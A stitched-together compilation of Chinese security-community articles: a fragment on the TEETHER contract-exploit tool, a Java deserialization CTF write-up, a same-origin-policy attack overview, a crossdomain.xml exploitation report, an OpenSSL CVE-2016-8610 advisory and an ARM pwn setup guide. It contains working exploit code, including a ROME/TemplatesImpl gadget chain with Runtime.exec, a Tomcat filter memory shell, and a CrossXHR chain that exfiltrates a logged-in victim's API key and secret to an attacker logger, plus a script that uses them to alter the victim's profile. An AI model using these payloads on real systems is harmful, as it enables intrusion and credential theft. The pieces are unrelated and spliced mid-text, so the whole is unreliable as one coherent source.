至此 最终的谜题仍未解开 这一场年度大戏尚未落下帷幕 更多的证据仍待挖掘
### wojak的财富密码
整个事件中，wojak的那一笔神奇的交易依旧是关注本次事件的群众口中一直谈论的话题。究竟是什么样的奇技淫巧能让自动执行的代码找到后门，并且触发后门？
在DappReview与wojak的对话中，给出了答案：
wojak的灵感来自于2018年8月的一篇论文《TEETHER: Gnawing at Ethereum to Automatically Exploit
Smart Contracts》
**该论文主要讲了什么呢？**
* 基于底层的EVM指令，提出了存在漏洞的智能合约的一种广义定义；
* 提出了TEETHER工具，该工具能够对于智能合约的字节码进行自动化的漏洞识别并生成相应的漏洞利用代码；
* 对于以太坊区块链中部署的38,757个智能合约进行了大规模的漏洞分析，其中TEETHER工具发现了815个合约中的漏洞，整个过程完全自动化。
**用一个不恰当但是通俗的比喻来说：TEETHER工具就是一台能自动从智能合约找漏洞并且提款的ATM机。**
**wojak基于这篇文章做了什么事情？**
1. 把TEETHER工具针对波场虚拟机做了适配
2. 收集波场上所有智能合约
3. 对所有的合约执行TEETHER工具来分析
4. 找到可能的套利机会 比如从合约A中以X的价格购买某Token，然后在合约B中以Y价格卖出（Y大于X），整个流程都是自动化执行而且合法
5. 工具会产生一系列可能产生收益的交易列表
6. 脚本自动执行并出发这些交易
本质上，那一笔神奇的交易就是这样自动触发的，连他自己都不知道发生了什么。至于wojak本身的行为是否可以定义为“黑客”，或者“违法”，此处暂且不展开深究。
**有兴趣研究这篇“财富密码”的请看：**
https://publications.cispa.saarland/2612/1/main.pdf
截至发稿，Tronbank已经宣布完成了链上投资数据的收集，统计完成后将按照原计划发放赔付TRX。此外，TSC开发者Khanh已经关闭了个人Twitter和Facebook。
* * * | 社区文章 |
# 从一道题看java反序列化和回显获取
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
EasyJaba 这个题目是陇原战”疫”2021网络安全大赛的一道题，最近正好在学习java反序列化和内存马的相关知识，通过这个题目可以很好的进行实践。
## 0x01 反序列化
题目给了jar包，直接用jd-gui反编译看看
Base64decode直接给了readObject，很明显有反序列化的考点了，不过这里还有个神秘的object1和BlacklistObjectInputStream,应该是给的一些障碍
简单看了一下应用没看到实现了Serailizable接口的类，看下lib，发现了rome
应该就是从经典的ROME 1.0 任意代码执行反序列化链子入手了
直接用idea反编译，这次代码清楚多了
简单分析下就是给ObjectInputStream加了俩黑名单
java.util.HashMap
javax.management.BadAttributeValueExpException
再看ROME的反序列化链条
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
入口点就是从HashMap开始的，显然不能直接使用了
但是注意到代码直接给了toString
所以我们只需要把链子稍微改下就能用了,新的链子
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
其实主要是利用了ROME的ToStringBean触发`可控.invoke(可控,NO_PARAMS)`然后利用TemplatesImpl这个类来实现任意代码执行
**如何利用可控.invoke(可控,NO_PARAMS)实现任意代码执行**
这其实是很多java反序列化导致任意代码执行的最后一环
这里我们利用的是TemplatesImpl.getOutputProperties()
简单写个Poc下断点跟下流程
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Properties;
public class Poc {
public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
//shell code here
System.out.println("Hello Java");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class};
Constructor constructor = templatesimpl.getDeclaredConstructor(types);
constructor.setAccessible(true);
TransformerFactoryImpl tf = new TransformerFactoryImpl();
Properties p = new Properties();
Object[] params = {bytecodes,"whatever",p,1,tf};
Object object = constructor.newInstance(params);
Method method = templatesimpl.getMethod("getOutputProperties");
method.invoke(object,null);
}
}
首先进入
因为我们之前反射调用templatesImple的构造函数构造了一个对象
Object[] params = {bytecodes,"whatever",p,1,tf};
Object object = constructor.newInstance(params);
此时该templatesImpl的_bytecodes就是我们注入的恶意类字节码
下一步跳转到newTransformer
然后跳转到getTransletInstance
因为我们的templatesImple _class属性为null,会进入defineTransletClasses();
这个方法大致意思就是将我们的字节码，通过Classloader defineClass转成Class并存储在templatesImple的_class属性中
此处还会对class的父类进行检查如果是`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`，则将`_transletIndex`指向该位置
回到getTransletInstance,可以发现此时会实力话我们注入的恶意类，同时会强制类型转换成AbstractTranslet类型，这两处也是为什么我们需要将我们的恶意类继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`,不然无法触发此处构造函数
然后就能执行我们恶意类Evil里static代码块了。
言归正传，对于本题我们构造如下exp，这里也可以通过javassist手动加上父类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(E.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, bytecodes);
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "test");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
ObjectBean objectBean = new ObjectBean(Templates.class, templatesimpl);
其中E为我们构造的恶意类用来执行代码比如
public static class E{
static {
try {
java.lang.Runtime.getRuntime().exec("calc.exe");
}catch (Throwable t){}
}
}
将生成的payload打过去以后可以发现弹出了计算器
## 0x02 获得回显
在可以命令执行后尝试了各种方法，但是发现拿不到命令执行的结果，后来发现有题目提示不出网…
不出网意味着类似反弹shell,curl，dnslog之类外带回显方式不可用了。加上并没有给静态文件的目录，将回显写入静态文件的方式也不好操作。这里利用内存马的思想，动态注入一个filter来获得回显。但是还有一个坑点在于由于我们的data是在url里注入的，如果太长的话会爆Request
too Large的错误。所以我们要尽量缩短生成的类字节码大小。最终构造的恶意类如下。
public static class E{
static {
try {
//这里采取Litch1师傅文章的思路，通过WebappClassLoader拿到StandardContext
Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");
Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();
Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources");
WebappClassLoaderBaseResource.setAccessible(true);
Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase);
Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot");
Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null);
//拿到StandardContext后就可以通过addFilterMap方法注入filter型内存马了
StandardContext standardContext = (StandardContext) getContext.invoke(resources, null);
Filter filter = (servletRequest, servletResponse, filterChain) -> {
FileInputStream fis = new FileInputStream("/flag");
byte[] buffer = new byte[16];
StringBuilder res = new StringBuilder();
while (fis.read(buffer) != -1) {
res.append(new String(buffer));
buffer = new byte[16];
}
fis.close();
servletResponse.getWriter().write(res.toString());
servletResponse.getWriter().flush();
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("A");
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("A");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
//本地测试时取消下面这行可以帮助观察是否注入成功
//System.out.println("injected");
}catch (Throwable t){
//t.printStackTrace();
}
}
}
然后实际测试的时候发现自己带命令执行的生成的字节码都太长了，于是索性只读取”/flag”试试。
第一次访问
第二次访问，成功拿到flag | 社区文章 |
# 【技术分享】漫谈同源策略攻防
##### 译文声明
本文是翻译文章，文章来源：eth.space
原文地址：<https://eth.space/same-origin-policy-101/>
译文仅供参考，具体内容表达以及含义原文为准。
如今的WEB标准纷繁复杂，在浏览稍大一些的网站时，细心的人会发现网页上呈现的内容并不仅限于网站自身提供的内容，而是来自一堆五花八门的网站的内容的集合。但有谁会想到同源策略在保护着网民们的安全呢？
了解同源策略是十分有必要的，要深入掌握XSS /
CSRF等WEB安全漏洞，不了解同源策略就如同盲人摸象一般，无法说出全貌，更无法应用其进行打击。另外,无论是网银盗号，还是隐私泄露，理解了同源策略，就有助于理解自己面临着什么样的威胁。
**0x00 什么是源和同源策略**
源就是主机，协议，端口名的一个三元组。
同源策略(Same Origin Policy,
SOP)是Web应用程序的一种安全模型，它控制了网页中DOM之间的访问。重要的事情说三遍，它只是个模型，而不是标准（哪怕标准在实现的时候也会千差万别）。同源策略被广泛地应用在处理WEB内容的各种客户端上，比如各大浏览器，微软的Silverlight，Adobe的Flash/Acrobat等等。SOP影响范围包括：普通的HTTP请求、XMLHttpRequest、XSLT、XBL。
**0x01 如何判断同源**
定义：给定一个页面，如果另一个页面使用的协议、端口、主机名都相同，我们则认为两个页面具有相同的源。 举个例子，我们假设需要比对的目标页面来自这个URI:
<http://sub.eth.space/level/flower.html>
**0x02 同源策略究竟限制了什么？**
首先，我们要明确同源策略只作用在实现了同源策略的WEB客户端上。
虽然笔者不常用百度，但是我们来看一个具有误导性的结论：百度词条对于同源策略的解释说“只有和目标同源的脚本才会被执行”，这是不对的，同源策略没有禁止脚本的执行，而是禁止读取HTTP回复。
更正了这个概念之后，我们会发现，SOP其实在防止CSRF上作用非常有限，CSRF的请求往往在发送出去的那一瞬间就已经达到了攻击的目的，比如发送了一段敏感数据，或请求了一个具体的功能，是否能读取回复并不那么重要（唯一的作用是可以防止CSRF请求读取异源的授权Token）。
另外，一般静态资源通常不受同源策略限制，如js/css/jpg/png等。
**0x03 跨源的网络访问**
为什么要起这么拗口的名字：网络访问？因为WEB上资源访问的多样性，不能简单的称之为网络请求。大体看来我们有三种类型：
跨域写，通常被允许，例如链接，重定向和表单提交，一些不常见的HTTP请求方法例如PUT,DELETE等需要先发送预请求（preflight），例如发送OPTIONS来查询可用的方法。
跨域嵌入，通常被允许。
跨域读，通常被禁止，然而，我们可以用其他方法达到读取的效果。
一个经久不衰的BUG
早在2011年，一个用户在Mozilla的Bug追踪系统中就提交了一个issue，声称他可以判定某个网站的访客是否登录了gmail,facebook等等。
嵌入iframe来获取一个访问网站的用户是否登陆了gmail:
<img style="display:none;"
onload="logged_in_to_gmail()"
onerror="not_logged_in_to_gmail()"
src="https://mail.google.com/mail/photos/img/photos/public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599IgoA2muEmEZD"
/>
src的代码试图访问一张gmail中攻击者上传的图片，如果用户没有登陆gmail，就无法成功加载。从而达到判断用户是否登陆gmail的效果。这种方法可以推广到任何对不应跨源访问的资源没有正确设置同源策略的网站。
**0x04 谈谈攻击**
作为一个抽象的WEB安全模型，每个处理WEB内容的客户端实现的都不完全一样，这就带来了许多差异点，而差异点的存在就带来了漏洞，正所谓“千里之堤，溃于蚁穴”。
**对URI的解析**
IP是URI的重要组成部分，如果留心了RFC的人就会知道，IP不止有一种格式。下面的标注形式其实都代表了同一个IP：216.58.209.68，大家可以在浏览器里实验。
216.58.53572
0xD8.072.53572
3627733316
0330.3854660
当某些浏览器对URI的解释存在漏洞的时候，就可以构造出有趣的攻击链来绕过SOP。
比如CVE-2015-7188火狐浏览器SOP绕过中。攻击者构造了特殊的URL，并在攻击者自己控制的来自37.187.18.85的网页中发起跨域请求
<http://37.187.18.85BuFF20translate.google.com/fx_sop_bypass/FlashTest.swf?url=http://translate.google.com/manager/website/>
先通过B让Firefox认为这个请求是请求37.187.18.85本身的内容，再通过类似@字符的Unicode字符＠(uFF20)让浏览器认为@之前的字符都是translate.google.com的账号和密码，从而返回translate.google.com的网页内容，实现绕过SOP。
**设计缺陷导致SOP绕过**
在Java6，7中，如果两个域名解析到相同的IP，则会认为他们同源。假设我们有attacker.com和victim.com,两者都共享主机123.123.123.123。攻击者attacker.com可以在自己控制的域名下上传一个jar文件来访问victim.com的内容。
**访问本地文件的同源策略**
不同的浏览器使用不同的浏览器引擎，而不同的引擎对于同源策略的处理也并非完全一致。例如，Firefox使用Gecko浏览器引擎，在古老的Gecko1.8版（Firefox3）之前，任意两个file://的URI都被认为是同源的，意思就是，任意本地HTML文件将有权限访问本地计算机上任意其他文件。如今的Gecko版本中，一个HTML文档只能访问其所在文件夹下的其他文件。
对于跨越窗口的DOM访问，每个文件被当作一个单独的源，除了一种情况：当一个文件被另一个文件可以用同源策略访问时，视为相同的源。
<!-- 文件路径：/home/user/1.html -->
<html>
<frameset cols="50%,*">
<frame src="/home/user/dir/2.html">
<frame src="...">
</frameset>
</html>
上图中，1.html和2.html被视为相同的源。
<!-- 文件路径：/home/user/dir/1.html -->
<html>
<frameset cols="50%,*">
<frame src="/home/user/2.html">
<frame src="...">
</frameset>
</html>
上图中，1.html和2.html被视为异源。
**特立独行的Internet Explorer**
在IE中，有两种情况同源策略无效：
**TrustZones（信任域）：** 当一个URI被加入到了IE的信任网站区域中时，浏览器会无视同源策略。
IE在考虑同源策略时不包括端口， 这意味着不同端口上的应用程序可以读取到比如用户的登陆账户密码/cookie等。
**通过变更自身的源绕过同源策略**
IE 6，7版中网页可以通过document.domain设置自身的来源为任意其他来源。如今网页仍然可以更改源，但是有一些限制。
网页可以变更自身的源为父级域名。
例如http://malicious.eth.space/1.html可以通过执行
document.domain = "eth.space";
来绕过同源策略的限制，从而可以读取http://eth.space/login.html上的内容。这其中的应用大家可以自己去想。
注意端口不同的情况。
需要注意的是，在改变源时，端口号是需要特别指定的。由于运行以下js代码
document.domain = document.domain
将会导致端口号被重置为null。所以源http://eth.space:1337不能通过修改document.domain="eth.space"来访问http://eth.space的数据，除非后者也设置了document.domain="eth.space",这样双方的源端口号才能一致（null）。反之亦然。
**0x05 谈谈防御**
**如何安全地允许跨源访问？**
最好的方式是使用CORS，跨源资源共享机制。这个需要的篇幅挺大，我们有机会下次讲。
使用Window.postMessage
使用JSONP。
**如何禁止（你的资源被）跨源访问？**
为了禁止跨域写，我们需要引入CSRF令牌，然而我们需要正确的配置同源策略，否则CSRF令牌本身也将被恶意网页读取。
为了禁止跨域读，我们可以通过设置X-Frame-Options头来禁止该页面被嵌入到恶意页面中，就如同在“经久不衰的BUG”中一样。
为了禁止跨域嵌入，确保你的资源本身无法嵌入到各种跨域访问方式中，比如<script src=></script> <img
src=x></img>，<svg onload=>，各种字体加载等等。同时，使用CSRF令牌也可以有效避免被跨域嵌入。
**如何禁止你控制的网页中嵌入的iFrame做出恶意行为？**
使用HTML5的沙盒iframe。
先写到这里吧，事实上，WEB安全中还有几个重要的机制，例如和同源策略相辅相成的跨域资源共享机制（CORS），和内容安全策略(Content Security
Policy, CSP)下次再写。 | 社区文章 |
# 利用不安全的crossdomian.xml
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**1.介绍**
有些站点的crossdomian.xml配置不安全,比如我这次参加spreaker站点的bug
boundtry,他们的[http://spreaker.com/crossdomain.xml显示如下](http://spreaker.com/crossdomain.xml%E6%98%BE%E7%A4%BA%E5%A6%82%E4%B8%8B):
<cross-domain-policy><allow-access-from domain="*"/></cross-domain-policy>
domain="*",意味着允许载入来自任何站点的swf文件,允许发送请求和读取响应信息,这相当于绕过了同源策略。
**2.利用**
接下来我查看[http://developers.spreaker.com/的开发说明文档,其中有一项引起了我的注意](http://developers.spreaker.com/%E7%9A%84%E5%BC%80%E5%8F%91%E8%AF%B4%E6%98%8E%E6%96%87%E6%A1%A3%EF%BC%8C%E5%85%B6%E4%B8%AD%E6%9C%89%E4%B8%80%E9%A1%B9%E5%BC%95%E8%B5%B7%E4%BA%86%E6%88%91%E7%9A%84%E6%B3%A8%E6%84%8F)
利用你的api
key和secret允许你轻松的读取公共信息而不需要验证,例如:[http://api.spreaker.com/show/9](http://api.spreaker.com/show/9)
将返回所有关于“The bit a bit show”的公共信息,如果你想得到私有信息或者新建/修改数据,则需要认证。
可以利用api
key和secret来实现认证,通过打开[http://api.spreaker.com/whoami可以读取api](http://api.spreaker.com/whoami%E5%8F%AF%E4%BB%A5%E8%AF%BB%E5%8F%96api)
key和secret,保存好你的api key 和secret(因为他们不能修改)
[http://api.spreaker.com/whoami](http://api.spreaker.com/whoami)
包含所有登陆用户的敏感信息,包括userid , fullname , fbuserid , email , **apikey** , api secret
, twauthtoken , twauthtoken_secret ,
fbauthtoken等等,同样的信息也可以在[http://www.spreaker.com/account/profile源码里发现。](http://www.spreaker.com/account/profile%E6%BA%90%E7%A0%81%E9%87%8C%E5%8F%91%E7%8E%B0%E3%80%82)
你可以自己编码actionscript,来请求[http://api.spreaker.com/whoami,然后发送页面的响应信息到你的logger](http://api.spreaker.com/whoami%EF%BC%8C%E7%84%B6%E5%90%8E%E5%8F%91%E9%80%81%E9%A1%B5%E9%9D%A2%E7%9A%84%E5%93%8D%E5%BA%94%E4%BF%A1%E6%81%AF%E5%88%B0%E4%BD%A0%E7%9A%84logger),我们不太擅长编写actionscript,所以我使用CrossXHR,他能够代理js请求通过swf,换句话说,我们通过编码js就可以请求flash
首先构造一个请求,代码如下
function test_get() {
request = new CrossXHR();
request.onreadystatechange = callback;
request.open('GET', 'http://api.spreaker.com/whoami');
request.send();
}
然后把响应信息发给logger
data = request.responseText; //contain the content of the /whoami
httpGet("/poc/logger.php?data="+data); //send it to logger
alert("done"); //just for demo
最后建立logger,来接收。
//receive contetnt via data param , then parse it
$data=$_GET['data'];
$obj = json_decode($data);
$email = $obj->{'response'}->{'user'}->{'email'};
$apikey = $obj->{'response'}->{'user'}->{'api_key'}->{'key'};
$apisecret = $obj->{'response'}->{'user'}->{'api_key'}->{'secret'};
...
$html = '<table>';
$html.= '<tr>';
$html.= '<td>User Id </td>';
$html.= '<td>Fullname </td>';
$html.= '<td>email </td>';
...
$html.= $email;
$html.='</td>';
$html.='<td>';
$html.= $apikey;
$html.='</td>';
$html.='<td>';
$html.= $apisecret;
...
$file=fopen('data.html','a');
fwrite($file,"<br><br> n");
fwrite($file,$html."nnn");
fwrite($file,"<br><br> n");
fclose($file);
....
以上准备做好以后,我们可以让受害者访问我的站点,比如attacker.com,当受害者此时正登陆spreaker站点的话,我们就能在logger里看到他的敏感信息了。
得到受害者的api key 和
secret后,我们就可以参考[http://developers.spreaker.com/,做进一步的操作,比如连接受害者的spreaker](http://developers.spreaker.com/%EF%BC%8C%E5%81%9A%E8%BF%9B%E4%B8%80%E6%AD%A5%E7%9A%84%E6%93%8D%E4%BD%9C%EF%BC%8C%E6%AF%94%E5%A6%82%E8%BF%9E%E6%8E%A5%E5%8F%97%E5%AE%B3%E8%80%85%E7%9A%84spreaker)账号到任意的社交媒体平台(twitter,facebook等),因为api
key和secret无法修改,这也是一个永久性后门。除非你删除你的spreaker账号
通过api key和secret实现认证后,会在以后的访问请求中增加Spreaker-Auth的HTTP头。我下面通过一段python代码来实现认证和修改用户的profile
import random
import time
import hashlib,sys,requests,json
user_id = sys.argv[1]
api_key = sys.argv[2]
api_secret = sys.argv[3]
# Generate a nonce and get the current timestamp (from epoch)
nonce = random.randint(0, 99999999)
timestamp = int(time.time())
# Generate the hash
md5 = hashlib.md5()
md5.update("%s:%s:%s:%s" % (nonce, api_key, api_secret, timestamp))
# Generate the digest
digest = "%s:%s:%s:%s" % (nonce, api_key, timestamp, md5.hexdigest())
print 'X-Spreaker-Auth: %s'%(digest)
url = "http://api.spreaker.com/user/"+str(user_id)
payload = {'description': 'Hacked'}
headers = {'X-Spreaker-Auth': digest}
r = requests.put(url, params=payload, headers=headers)
print 'response code: ' + str(r.status_code)
提交认证请求
修改后的profile | 社区文章 |
# 【漏洞预警】CVE-2016-8610: “SSL Death Alert“漏洞公告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
来自Qihoo 360 Gear
Team的安全研究员石磊（360信息安全部）发现OpenSSL中存在一个影响广泛的远程匿名拒绝服务漏洞，该漏洞被命名为“SSL Death Alert”
(即“OpenSSL红色警戒”漏洞)，通用漏洞编号CVE-2016-8610。
目前已确认该漏洞影响到互联网广泛提供HTTPS(包括SSL和TLS协议)服务的Nginx，OpenSSL官方已经于2016-09-22完成源码层面的修复，建议立即跟进修复！
**
**
**什么是OpenSSL？**
OpenSSL
是一个开源的安全套接字层实现库，包括常见的密码算法（RSA、AES、DES等）、常用的密钥和证书封装管理功能及SSL协议，并提供丰富的应用程序供测试或其它目的使用。OpenSSL具有优秀的跨平台性能，OpenSSL支持Linux、Windows、BSD、Mac、VMS等平台。在HTTPS协议实际应用方面，它经常和Nginx、Apache等搭配使用提供安全的Web服务。
**漏洞与危害描述**
在OpenSSL针对SSL/TLS协议握手过程的实现中，允许客户端重复发送打包的 "SSL3_RT_ALERT" -> "SSL3_AL_WARNING"
类型明文未定义警告包，且OpenSSL在实现中遇到未定义警告包时仍选择忽略并继续处理接下来的通信内容（如果有的话）。攻击者可以容易的利用该缺陷在一个消息中打包大量未定义类型警告包，使服务或进程陷入无意义的循环，从而导致占用掉服务或进程100%的CPU使用率。
所有使用OpenSSL版本库中的SSL/TLS协议都是可能受影响的（我们没有做更多的验证），
其中提供HTTPS服务的Nginx是可以容易的被攻击到无法提供服务。
该漏洞被命名为 “SSL Death Alert”，即“OpenSSL红色警戒”漏洞。
“SSL Death ALert“漏洞由来自奇虎360 Gear
Team的安全研究员石磊（360信息安全部）发现并报告给OpenSSL官方和相关开源组织，通用漏洞编号为CVE-2016-8610。
**CVE编号**
CVE-2016-8610
**受影响的OpenSSL版本**
OpenSSL 1.1.0
OpenSSL 1.0.2 – 1.0.2h
OpenSSL All 1.0.1
OpenSSL All 0.9.8
**不受影响的版本**
OpenSSL >= 1.0.2j
OpenSSL >= 1.1.0b
**缓解措施**
暂无
**修复建议**
建议立即对受影响和可能受影响的业务进行安全补丁或升级到不受影响的版本。
**
**
**参考**
[1] <http://security.360.cn/cve/CVE-2016-8610/>
[2] <https://www.openssl.org>
[3]
[https://access.redhat.com/security/cve/CVE-2016-8610/](https://access.redhat.com/security/cve/CVE-2016-8610/a) | 社区文章 |
# ARM架构下的 Pwn 的一般解决思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 写在前面
本文作为”Multi-arch Pwn 系列”中的文章之一，因为篇幅过长，只能分架构来总结了。
多架构Pwn的题目虽然不多，但还是想要在这里总结一些常见的思路。
本文的部分内容引用了大佬的博客原文，已在文章末尾的参考链接中注明了原作者。
## 0x02.1 前置环境（基于Mac OS的环境搭建）
我们如果要使用多架构进行利用，我们一般需要安装qemu进行调试。
在 Mac OS 下我们可以使用`brew install qemu`来安装我们所需要的qemu。
但是，我们会发现我们无法使用大多数博客所述的`qemu-arm`来运行静态链接的其他架构程序。
经过查阅官方文档，我们发现官网中已经做了明确说明
> ## 5\. QEMU User space emulator
>
> ### 5.1 Supported Operating Systems
>
> The following OS are supported in user space emulation:
>
> * – Linux (referred as qemu-linux-user)
> * – BSD (referred as qemu-bsd-user)
>
也就是说，仅限Linux系统和BSD系统才能进行用户级别的仿真运行。那么我们尝试进行系统级别的仿真。
此处我们使用树莓派的系统镜像进行模拟。
### 准备`qemu kernel`
Kernel下载链接：<https://github.com/dhruvvyas90/qemu-rpi-kernel>
System Image下载链接：<https://www.raspberrypi.org/downloads/raspbian/>
此处因为网络原因导致镜像下载受阻，于是采用另一位大佬给出的替代方案~
### 关于启动选项的说明
`-kernel kernel-qemu`：指定启动所加载的内核文件类型，此处使用下载的内核映像类型`kernel-qemu`。
`-cpu arm1176`：指定启动所使用的CPU文件，此处模拟`ARM1176 CPU`。`Raspberry Pi`板上搭载了`Broadcom
BCM2835`，这个处理器用的是`ARM1176JZ-F`。
`-m 256`：指定仿真系统可使用的内存大小，此处RAM的大小是256MB. 设定成比256MB大的值板子好像不能启动.
`-M versatilepb`：设定模拟的开发板类型。`versatilepb`是`ARM Versatile Platform Board`。
`-kernel kernel-qemu-4.4.34-jessie`：指定启动所加载的内核镜像，此处使用下载的内核映像`kernel-qemu-4.4.34-jessie`。
`-append "root=/dev/sda2"`：指定内核的命令行。
`-hda 2013-09-25-wheezy-raspbian.img`：`Harddisk 0`使用`2013-09-25-wheezy-raspbian.img`。
## 0x02.2 前置环境（基于Deepin4的环境搭建）
本部分全文基本全文引用[如何 pwn 掉一个 arm 的binary——m4x](https://m4x.fun/post/how-2-pwn-an-arm-binary/)，故做二次版权声明。
### 虚拟机前期准备工作——更新apt源、安装必备软件
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install screenfetch git vim python python-pip python3 python3-pip gdb gdb-multiarch cmake time
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
pip3 install --user unicorn keystone-engine capstone -i https://pypi.tuna.tsinghua.edu.cn/simple
git clone https://github.com/sashs/filebytes.git
cd filebytes
sudo python3 setup.py install
git clone https://github.com/sashs/ropper.git
cd ropper
sudo python3 setup.py install
cd ~
wget https://github.com/keystone-engine/keystone/archive/0.9.1.tar.gz
tar xzvf 0.9.1.tar.gz
cd keystone-0.9.1/
mkdir build
cd build
../make-share.sh
sudo make install
sudo ldconfig
kstool
pip3 install --user ropper keystone-engine -i https://pypi.tuna.tsinghua.edu.cn/simple
sudo pip install pwntools
### 安装QEMU及其依赖
sudo apt-get install qemu-user
### 安装动态运行库（不运行此步骤也可以运行静态多架构程序）
使用命令`apt-cache search "libc6" | grep -E "arm|mips"`搜索可用的多架构运行库。
我们只需要安装形如`libc6-*-cross`的运行库即可。
使用命令`sudo apt-get install libc6-arm64-cross libc6-armel-cross libc6-armhf-cross libc6-mips-cross libc6-mips32-mips64-cross libc6-mips32-mips64el-cross
libc6-mips64-cross libc6-mips64-mips-cross libc6-mips64-mipsel-cross
libc6-mips64el-cross libc6-mipsel-cross libc6-mipsn32-mips-cross
libc6-mipsn32-mips64-cross libc6-mipsn32-mips64el-cross libc6-mipsn32-mipsel-cross`安装。
### 安装binutils环境
当我们使用`Pwntools`里的`asm`命令时，可能会报如下错误：
dpkg-query: 没有找到与 *bin/armeabi*linux*-as* 相匹配的路径
[ERROR] Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, endian = 'little', log_level = 10)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
此时我们需要安装binutils依赖，首先使用命令`apt search binutils | grep [arch]`(此处的[arch]请自行替换)
随后安装显示出的包即可完成
## 0x02.3 前置环境（基于ARM_NOW的环境搭建）
项目地址：<https://github.com/nongiach/arm_now>
根据项目简介所述：
> arm_now is a qemu powered tool that allows instant setup of virtual machines
> on arm cpu, mips, powerpc, nios2, x86 and more, for reverse, exploit,
> fuzzing and programming purpose.
>
> arm_now是一款基于qemu的强大的工具，它允许在arm-> cpu，mips，powerpc，nios2，x86等平台上即时设置虚拟机，以进行程序逆向，利用，模糊测试和编程工作。
项目使用wiki：<https://github.com/nongiach/arm_now/wiki>
## 0x03 相关知识
### ARM 架构
ARM架构使用了与Intel/AMD架构所不同的精简指令集(RISC)，因此其函数调用约定以及寄存器也有了一定的差异。
#### 过程调用标准
ARM/ARM64使用的是AAPCS或ATPCS标准。
ATPCS即为ARM-Thumb Procedure Call Standard/ARM-Thumb过程调用标准，规定了一些子程序间调用的基本规则，这些规则包括子程序调用过程中寄存器的使用规则，数据栈的使用规则，参数的传递规则。有了这些规则之后，单独编译的C语言程序就可以和汇编程序相互调用。使用ADS(ARM
Developer
Suite)的C语言编译器编译的C语言子程序满足用户指定的ATPCS类型。而对于汇编语言来说，则需要用户来保证各个子程序满足ATPCS的要求。而AAPCS即为ARM
Archtecture Procedure Call Standard是2007年ARM公司正式推出的新标准，AAPCS是ATPCS的改进版，目前，
AAPCS和ATPCS都是可用的标准。
#### 寄存器规则
1. 子程序间通过寄存器 **R0～R3** 来 **传递参数** 。这时，寄存器R0～R3可记作arg0～arg3。 **被调用的子程序在返回前无需恢复寄存器R0～R3的内容，R0被用来存储函数调用的返回值** 。
